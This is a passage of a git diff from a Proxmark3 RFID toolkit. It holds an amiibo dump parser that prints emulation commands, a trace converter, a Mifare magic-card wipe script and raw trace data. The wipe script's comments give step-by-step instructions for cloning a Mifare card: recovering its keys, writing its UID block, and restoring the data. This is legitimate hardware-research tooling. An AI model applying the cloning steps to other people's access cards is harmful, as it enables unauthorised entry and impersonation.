Figures", +0x024a => "Animal Crossing Figures", +0x024f => "The Legend of Zelda", +0x034b => "The Legend of Zelda", +0x034c => "The Legend of Zelda", +0x034d => "The Legend of Zelda", +0x034e => "The Legend of Zelda", +0x034f => "The Legend of Zelda", +0x0350 => "The Legend of Zelda", +0x0351 => "The Legend of Zelda", +0x0352 => "The Legend of Zelda", +0x0353 => "The Legend of Zelda", +0x0354 => "The Legend of Zelda", +0x0355 => "The Legend of Zelda", +0x0356 => "The Legend of Zelda", +0x0357 => "The Legend of Zelda", +0x0358 => "The Legend of Zelda", +0x0359 => "The Legend of Zelda", +0x035a => "The Legend of Zelda", +0x035b => "The Legend of Zelda", +0x035c => "The Legend of Zelda", +0x0250 => "Shovel Knight", +0x0254 => "Kirby", +0x0255 => "Kirby", +0x0256 => "Kirby", +0x0257 => "Kirby", +0x025c => "Pokken", +0x02e1 => "Monster Hunter Stories", +0x02e2 => "Monster Hunter Stories", +0x02e3 => "Monster Hunter Stories", +0x0319 => "Animal Crossing Sanrio", +0x031a => "Animal Crossing Sanrio", +0x031b => "Animal Crossing Sanrio", +0x031c => "Animal Crossing Sanrio", +0x031d => "Animal Crossing Sanrio", +0x031e => "Animal Crossing Sanrio", +0x035e => "BoxBoy!", +0x0360 => "Fire Emblem", +0x0361 => "Fire Emblem", +); + +my %amiiboseries = ( +0x00 => "Super Smash Bros.", +0x01 => "Super Mario", +0x02 => "Chibi-Robo", +0x03 => "Yoshi's Woolly World", +0x04 => "Splatoon", +0x05 => "Animal Crossing", +0x06 => "8 - Bit Mario", +0x07 => "Skylanders", +0x08 => "???", +0x09 => "The Legend Of Zelda", +0x0A => "Shovel Knight", +0x0B => "??? (Pikmin?)", +0x0C => "Kirby", +0x0D => "Pokken", +0x0E => "Mario Sports Superstars", +0x0F => "Monster Hunter", +0x10 => "BoxBoy!", +0x11 => "???", +0x12 => "Fire Emblem", +); + +use strict; +my @err; +sub err { push @err, @_ } + +die "usage: $0 \n" unless @ARGV == 1; +my $input = shift; + +open(IN, "<$input") || die "Can't read $input$!"; +my $file = join "", ; +close(IN); + +sub bytes { return substr($file, ((length($file) + $UIDLOC) + $_[0]), $_[1] || 1) } + +# check for crypto +#my $dec_check = substr($file, ((length($file) + $UIDLOC) + 3 ), 1) eq "\xE0"; +#my $enc_check = substr($file, ((length($file) + $UIDLOC) + 3 + 8), 1) eq "\xE0"; +my $dec_check = bytes(3 + 0, 1) eq "\xE0"; +my $enc_check = bytes(3 + 8, 1) eq "\xE0"; + +my $game = ( unpack("H3", bytes(84 + 0, 2))); +my $char = (substr(unpack("H2", bytes(84 + 1)), 1)); +my $cvar = ( unpack("H2", bytes(84 + 2))); +my $type = ( unpack("H2", bytes(84 + 3))); +my $amii = ( unpack("H4", bytes(84 + 4, 2))); +my $amis = ( unpack("H2", bytes(84 + 6))); +my $last = ( unpack("H2", bytes(84 + 7))); +err "Character / info: " . join(" ", map { unpack("H2", $_) } split(//, bytes(84, 8))); +err "Game : $game $game{hex($game)}"; +err "Character: $char --"; +err "Variation: $cvar --"; +err "Type : $type $type{hex($type)}"; +err "Amiibo : $amii $amiibo{hex($amii)}"; +err "Series : $amis $amiiboseries{hex($amis)}"; +err "Last : $last (should be 02)"; +err ""; + +# looks like encrypted file +my $run; +if ($enc_check && !$dec_check) +{ + if ($DECRYPT) + { + $run = "'$AMIITOOL' -d -k '$KEYFILE' -i '$input'"; + err "Looks like encrypted file, decrypting"; + err "Running: $run"; + $file = `$run`; + } + else + { + err "Looks like encrypted file but setting preventing us from decrypting"; + } +} +elsif ($enc_check && $dec_check) +{ + $run = "'$AMIITOOL' -d -k '$KEYFILE' -i '$input'"; + err "Looks like encrypted AND decrypted file, will try decrypting first"; + err "Running: $run"; + my $tmp = `$run`; + if (!$tmp) + { + err "Decryption failed, assuming file is already decrypted"; + } + else + { + err "Decryption succeeded, loading decrypted contents"; + $file = $tmp; + } +} +elsif ($dec_check && !$enc_check) +{ + err "Looks like decrypted file, great!"; +} +elsif (!$dec_check && !$enc_check) +{ + die "Does not look like proper file format! Exiting.\n"; +} + +my $lines = $BLOCKS; +my $uid = unpack("H14", + substr($file, length($file) + $UIDLOC, 3) . + substr($file, (length($file) + $UIDLOC) + 4, 4)); +my $pwd = unpack("H8", substr($file, length($file) - 8, 4)); + +# file does not contain our 48 byte header, let's add it +if ($ADDHDR && length($file) == -1 * $UIDLOC) +{ + err "Does not contain header, adding"; + while () + { + $lines--; + chomp; # there may not be a newline so chomp and add below + print "$_\n"; + } +} + +while (length($file)) +{ + my $out = substr($file, 0, $BLOCKSIZE, ""); # was 16 + $out = unpack("H*", $out); + print "$out\n"; + + # grab UID +=cut + if ($BLOCKS - $lines == 12) + { + $uid = substr($out, 0, 6); + } + elsif ($BLOCKS - $lines == 13) + { + $uid .= substr($out, 0, 8); + } +=cut + + $lines--; +} + +# still need to pad to 255 4-byte (8 hex char) blocks +if ($lines > 0) +{ + while ($lines--) + { + print "00000000\n"; + } +} + + +print STDERR "\n"; +print STDERR "$_\n" for @err; +print STDERR "UID: $uid\n"; +print STDERR "PWD: $pwd\n"; +print STDERR "\n"; +$uid = uc $uid; +#print STDERR "amiitool -d -k ../client/amiitool/key_retail.bin -i $input -o $input.decrypted\n"; +$input =~ s/\....$//; +print STDERR "hf mf eload u $input\n"; +print STDERR "hf 14a sim t 7 u $uid\n"; + + +__DATA__ +00040402 +01001103 +01000000 +00808000 +92580b4c +45a9c42f +a90145ce +5e5f9c43 +09a43d47 +d232a3d1 +68cbade6 +7f8185c6 diff --git a/tools/pm3_cs8.pl b/tools/pm3_cs8.pl new file mode 100755 index 000000000..f1bfaf81d --- /dev/null +++ b/tools/pm3_cs8.pl @@ -0,0 +1,66 @@ +#!/usr/bin/perl +# +# Convert proxmark3 trace or wav files to formats to be used by Inspectrum +# +# Converts proxmark3 trace to cs8 (Complex 8-bit signed integer samples, eg HackRF IQ format) +# and .wav to cs16 (Complex 16-bit signed integer samples, eg BladeRF IQ format) +# +# -samy kamkar, https://samy.pl + +# we use `sox` to convert, set this to full path if preferred +my $SOX = "sox"; + +use strict; + +die "usage: $0 [/path/to/sox (optional)] [...more traces]\n" unless @ARGV; +$SOX = shift if $ARGV[0] =~ m/(?:[\/\\]|^)sox$/; +trace_conv($_) for @ARGV; + +sub trace_conv +{ + my $file = shift; + if ($file =~ /wav$/i) + { + my @run = ($SOX, qw/$file -t raw -e signed-integer -b 16 $file.cs16/); + run_rewrite($file, @run); + print "Wrote $file.cs16\n\n"; + } + else + { + my $f = "/tmp/pm3.trace." . rand(); + open(F, ">$f") || die "Can't write to $f: $!"; + open(IN, "<$file") || die "Can't read $file: $!"; + while () + { + chomp; + print F pack "c", $_; + } + close(IN); + close(F); + + # upsample 100x and pad 2nd channel with zeroes + my @run = ($SOX, qw/-t s8 -r 1 -c 1 -v 0.5 $file -t s8 -r 100 -c 2 $file.cs8 remix 1 0/); + run_rewrite($f, @run); + + # pad file since inspectrum doesn't handle small files so well + open(OUT, ">$file.cs8") || die $!; + open(IN, "<$f.cs8") || die $!; + print OUT while ; + print OUT "\0" x (1024 * 1024); + close(IN); + close(OUT); + + unlink($f, "$f.cs8"); + print "Wrote $file.cs8\n\n"; + } +} + +sub run_rewrite +{ + my ($file, @run) = @_; + s/\$file/$file/ foreach @run; + print "Running: @run\n"; + + my $ret = system(@run); + die "Failed: $! ($ret)\ndo you have $run[0] installed?\n" if $ret; +} diff --git a/tools/pm3_eml_mfd_test.py b/tools/pm3_eml_mfd_test.py old mode 100644 new mode 100755 diff --git a/tools/pm3_mf7b_wipe.py b/tools/pm3_mf7b_wipe.py new file mode 100755 index 000000000..9f7b29c6b --- /dev/null +++ b/tools/pm3_mf7b_wipe.py @@ -0,0 +1,150 @@ +#! /usr/bin/env python3.6 +# -*- coding: utf-8 -*- +# +# VULNERS OPENSOURCE +# __________________ +# +# Vulners Project [https://vulners.com] +# All Rights Reserved. +# +# Author: Kir [isox@vulners.com] +# Credits: Dennis Goh [dennis@rfidresearchgroup.com] +# +# This helper script is made for wiping S50 7byte UID cards with Gen2 magic commands from restored state to blank one. +# +# Scenario: +# You want to clone 7byte Mifare 1k card using RfidResearchGroup Proxmark3 RDV4.0 +# +# Step 1: Dumping original card and making a Mifare 7byte UID clone using S50 7byte UID +# +# Place original card to the reader. +# Dump data and recover keys +# +# hf mf autopwn +# +# You will get data, EML and key file. Backup this file, you will need them to wipe the card back to blank state. +# Place blank S50 card to the reader. +# +# Get first line from EML file (block0) and write it down using command +# +# Place it here +# | +# | +# v +# hf mf wrbl 0 B FFFFFFFFFFFF 046E46AAA53480084400120111003113 +# +# Now restore all the data using built-in restore command +# +# hf mf restore +# +# Step 2: Recovering S50 7byte UID card to the blank state +# +# Find current card data files from Step 1 in your backup or if you lost them create them again using 'hf mf autopwn' command. +# Place them in current working directory. +# +# Read hf-mf-CARD_UID-data.eml file and copy it content with CTRL-C. +# Place it to the eml variable in this script. +# +# Check execution command and check device and command name: 'proxmark3 -c "%s" /dev/tty.usbmodemiceman1' +# +# Run script and review key blocks returning to default FFFFFFFFFFFF state. +# Be patient! It is executing aprox 3 minutes. +# Success one result looks like: +# +# Block 0: Success: isOk:01 +# Block 3: Success: isOk:01 +# Block 7: Success: isOk:01 +# Block 11: Success: isOk:01 +# Block 15: Success: isOk:01 +# Block 19: Success: isOk:01 +# Block 23: Success: isOk:01 +# Block 27: Success: isOk:01 +# Block 31: Success: isOk:01 +# Block 35: Success: isOk:01 +# Block 39: Success: isOk:01 +# Block 43: Success: isOk:01 +# Block 47: Success: isOk:01 +# Block 51: Success: isOk:01 +# Block 55: Success: isOk:01 +# Block 59: Success: isOk:01 +# Block 63: Success: isOk:01 +# +# Thats it! Your S50 7byte UID card is wiped back. Now you can return back to Step 1 of this manual. +# +# + + + + +import subprocess + +# EML data var te get keys of +EML_FILE_DATA = """PLACE RAW hf-mf-CARD_UID-data.eml FILE CONTENT OF CURRENTLY LOADED CARD HERE""" +# Change your device name here if it differs from the default Proxmark3 RDV4.0 +PROXMARK_BIN_EXEC_STRING = 'proxmark3 -c "%s" /dev/tty.usbmodemiceman1' +# Constants +DEFAULT_ACCESS_BLOCK = "FFFFFFFFFFFFFF078000FFFFFFFFFFFF" +F12_KEY = "FFFFFFFFFFFF" + +def exec_proxmark_cmd(command, retry = 2, input=""): + exec_ok = False + retry_c = 0 + while not exec_ok and retry_c < retry: + sh_command = PROXMARK_BIN_EXEC_STRING % command + rst = subprocess.run(sh_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, input=input.encode("utf-8")) + + proxmark_reply = rst.stdout.decode("utf-8") + proxmark_status = proxmark_reply.splitlines()[-1:][0].strip() + if proxmark_status == "isOk:01": + return True, "Success: " + proxmark_status + retry_c += 1 + return False, "Error: %s , status %s" % (proxmark_reply.splitlines()[-2:][0], proxmark_status) + + +def chunk(iterable,n): + """assumes n is an integer>0 + """ + iterable=iter(iterable) + while True: + result=[] + for i in range(n): + try: + a=next(iterable) + except StopIteration: + break + else: + result.append(a) + if result: + yield result + else: + break + +sector_array = [sector for sector in chunk(EML_FILE_DATA.splitlines(), 4)] +block = 0 +block_success = {} + +for sector in sector_array: + key_A = sector[3][:12] + key_B = sector[3][-12:] + for _block in range(0,4): + if sector_array.index(sector) == 0 and block == 0: + write_status, verbose = exec_proxmark_cmd("hf mf wrbl %s B %s %s" % (block, key_B, sector[0])) + if not write_status: + write_status, verbose = exec_proxmark_cmd("hf mf wrbl %s A %s %s" % (block, key_A, sector[0])) + if not write_status: + write_status, verbose = exec_proxmark_cmd("hf mf wrbl %s A %s %s" % (block, F12_KEY, sector[0])) + block_success[block] = verbose + + elif _block == 3: + write_status, verbose = exec_proxmark_cmd("hf mf wrbl %s B %s %s" % (block, key_B, DEFAULT_ACCESS_BLOCK)) + if not write_status: + write_status, verbose = exec_proxmark_cmd("hf mf wrbl %s A %s %s" % (block, key_A, DEFAULT_ACCESS_BLOCK)) + if not write_status: + write_status, verbose = exec_proxmark_cmd("hf mf wrbl %s A %s %s" % (block, F12_KEY, DEFAULT_ACCESS_BLOCK)) + block_success[block] = verbose + + _block += 1 + block += 1 + +for block in block_success: + print("Block %s: %s" % (block ,block_success[block])) diff --git a/traces/README.txt b/traces/README.txt index 63ebe18ee..5eada015d 100644 --- a/traces/README.txt +++ b/traces/README.txt @@ -1,3 +1,4 @@ +pac-8E4C058E.pm3: PAC/Stanley 20204/21020 PAC8 tag (ID: 8E4C058E) em4102-clamshell.pm3: Samy's clamshell EM4102 tag (ID: 1f00d9b3a5) em4102-thin.pm3: Samy's thin credit-card style EM4102 tag (ID: 1a0041375d) EM4102-1.pm3: credit card style card EM4102 tag (ID: 010872e77c) @@ -29,3 +30,7 @@ securakey-64169.pm3 Securakey Tag BitLen: 26, Card ID: 64169, FC: 0x35 motorola_0437_00072.pm3: Motorola Grey clamshell card, old. (RAW: A0000000E308C0C1) verichip_1022000000084146.pm3: VeriChip, epoxy encased glasschip (ID: 1022-00000000084146) + +sniff-ht2-BC3B8810-acg-reader.pm3: sniffing of Hitag2 being read by an HID ACG LF Multitag reader +sniff-ht2-BC3B8810-frosch-reader.pm3: sniffing of Hitag2 being read by a Frosch Hitag reader +sniff-ht2-BC3B8810-rfidler-reader.pm3: sniffing of Hitag2 being read by a RFIDler diff --git a/traces/pac-8E4C058E.pm3 b/traces/pac-8E4C058E.pm3 new file mode 100644 index 000000000..6683686f0 --- /dev/null +++ b/traces/pac-8E4C058E.pm3 @@ -0,0 +1,30000 @@ +50 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +82 +-16 +-103 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +111 +104 +98 +92 +86 +79 +74 +69 +65 +60 +57 +53 +50 +47 +45 +42 +39 +37 +36 +33 +32 +31 +29 +27 +26 +25 +24 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-118 +-109 +-99 +-91 +-84 +-77 +-71 +-65 +-60 +-55 +-48 +-44 +-40 +-36 +-32 +-29 +-26 +-24 +-20 +-17 +-15 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +68 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +111 +104 +98 +90 +84 +79 +74 +69 +65 +60 +58 +53 +50 +47 +45 +43 +40 +37 +36 +35 +34 +31 +29 +27 +27 +24 +24 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-118 +-109 +-100 +-92 +-84 +-77 +-71 +-66 +-60 +-54 +-48 +-44 +-40 +-37 +-33 +-29 +-25 +-22 +-19 +-17 +-15 +-13 +-11 +-11 +-9 +-7 +-5 +-4 +-2 +-1 +1 +1 +2 +3 +5 +5 +5 +6 +7 +6 +6 +7 +9 +9 +9 +10 +10 +10 +10 +11 +12 +11 +12 +12 +13 +11 +11 +12 +14 +13 +14 +14 +14 +14 +14 +14 +14 +14 +15 +14 +13 +13 +13 +13 +14 +14 +14 +14 +14 +13 +14 +14 +15 +14 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +68 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-108 +-99 +-90 +-82 +-75 +-69 +-63 +-59 +-54 +-49 +-43 +-39 +-35 +-32 +-28 +-26 +-23 +-20 +-16 +-15 +-12 +-11 +-9 +-8 +-7 +-5 +-2 +-1 +0 +1 +2 +3 +3 +4 +5 +6 +6 +6 +7 +7 +7 +8 +9 +10 +11 +10 +11 +11 +11 +11 +11 +12 +13 +12 +12 +11 +12 +12 +13 +13 +14 +13 +13 +13 +14 +13 +13 +14 +14 +14 +13 +12 +13 +13 +14 +14 +15 +14 +14 +14 +15 +14 +14 +14 +15 +14 +14 +13 +14 +14 +15 +15 +15 +15 +15 +14 +15 +15 +15 +14 +15 +15 +14 +13 +13 +14 +14 +14 +15 +15 +14 +14 +14 +14 +15 +14 +14 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +116 +109 +101 +95 +89 +83 +78 +73 +68 +65 +60 +57 +54 +51 +47 +45 +42 +40 +37 +36 +34 +32 +30 +29 +28 +26 +-58 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +43 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +124 +116 +109 +100 +94 +88 +82 +77 +72 +68 +64 +59 +56 +54 +51 +47 +45 +42 +40 +37 +36 +34 +32 +30 +29 +28 +26 +25 +24 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +41 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +57 +-39 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +66 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +59 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +67 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +110 +103 +96 +90 +85 +79 +74 +69 +65 +61 +57 +53 +50 +47 +44 +41 +40 +37 +35 +33 +32 +30 +30 +28 +28 +26 +24 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +41 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +118 +110 +102 +95 +89 +82 +76 +72 +67 +63 +59 +55 +52 +50 +47 +44 +42 +40 +37 +35 +33 +32 +30 +28 +27 +27 +26 +25 +-58 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-101 +-92 +-84 +-77 +-72 +-67 +-60 +-54 +-49 +-45 +-40 +-36 +-33 +-30 +-27 +-23 +-20 +-18 +-15 +-13 +-11 +-11 +-9 +-6 +-4 +-3 +-2 +0 +1 +1 +2 +3 +5 +5 +6 +6 +7 +6 +6 +8 +9 +9 +10 +10 +10 +10 +10 +11 +11 +11 +12 +12 +12 +11 +12 +13 +14 +13 +13 +13 +14 +13 +13 +13 +14 +14 +14 +14 +14 +13 +13 +13 +14 +14 +15 +13 +14 +14 +14 +14 +14 +14 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +110 +102 +97 +90 +85 +79 +74 +70 +65 +61 +58 +54 +51 +47 +45 +42 +41 +38 +36 +34 +33 +31 +31 +29 +28 +25 +25 +23 +21 +20 +19 +18 +18 +17 +16 +16 +16 +15 +15 +15 +15 +14 +14 +14 +14 +12 +12 +12 +12 +11 +11 +11 +11 +10 +11 +10 +10 +-65 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-120 +-111 +-102 +-94 +-86 +-79 +-72 +-67 +-60 +-54 +-49 +-45 +-40 +-37 +-34 +-31 +-27 +-25 +-22 +-19 +-16 +24 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +67 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +65 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-118 +-108 +-99 +-90 +-83 +-76 +-70 +-63 +-59 +-54 +-49 +-43 +-39 +-35 +-32 +-29 +-26 +-23 +-21 +-18 +-15 +-12 +-11 +-10 +-9 +-7 +-4 +-3 +-2 +0 +1 +2 +2 +3 +4 +5 +5 +6 +7 +8 +6 +7 +8 +10 +10 +10 +10 +11 +11 +11 +11 +12 +12 +12 +51 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +68 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-108 +-100 +-91 +-83 +-76 +-70 +-64 +-59 +-54 +-49 +-44 +-39 +-34 +-31 +-27 +-24 +-21 +-19 +-17 +-15 +-13 +27 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-106 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-115 +-106 +-97 +-89 +-81 +-74 +-68 +-63 +-58 +-53 +-48 +-43 +-39 +-34 +-31 +-28 +-26 +-22 +-20 +-17 +-15 +-12 +28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +116 +109 +102 +96 +89 +83 +78 +74 +68 +64 +60 +57 +53 +50 +47 +45 +42 +40 +38 +37 +34 +32 +30 +29 +27 +26 +24 +24 +22 +21 +20 +20 +19 +18 +17 +17 +16 +16 +15 +15 +14 +15 +14 +14 +13 +13 +13 +12 +11 +12 +11 +11 +11 +11 +11 +11 +10 +11 +10 +10 +10 +10 +10 +10 +9 +10 +10 +10 +9 +10 +10 +10 +9 +10 +10 +10 +9 +9 +9 +9 +9 +9 +9 +9 +8 +9 +9 +10 +9 +9 +9 +9 +9 +9 +9 +9 +8 +9 +9 +9 +8 +8 +8 +8 +8 +9 +8 +8 +8 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +8 +9 +9 +9 +8 +9 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +9 +9 +8 +8 +9 +9 +8 +8 +9 +9 +9 +8 +9 +9 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +9 +9 +9 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +8 +8 +9 +9 +9 +9 +9 +9 +9 +8 +9 +9 +8 +8 +9 +8 +8 +8 +9 +9 +9 +8 +9 +9 +8 +8 +9 +8 +8 +8 +9 +9 +9 +9 +9 +10 +10 +10 +10 +9 +9 +9 +9 +8 +8 +8 +8 +8 +8 +8 +9 +9 +9 +9 +9 +9 +9 +9 +10 +9 +9 +9 +10 +9 +9 +9 +9 +9 +9 +9 +9 +9 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +9 +9 +9 +9 +9 +10 +9 +10 +9 +9 +8 +8 +8 +8 +8 +9 +8 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +8 +9 +9 +8 +8 +9 +8 +8 +8 +8 +8 +8 +7 +8 +8 +8 +8 +9 +9 +8 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +8 +8 +9 +9 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +9 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +9 +9 +9 +8 +9 +9 +8 +8 +8 +9 +9 +8 +8 +8 +10 +10 +11 +11 +11 +10 +10 +-69 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 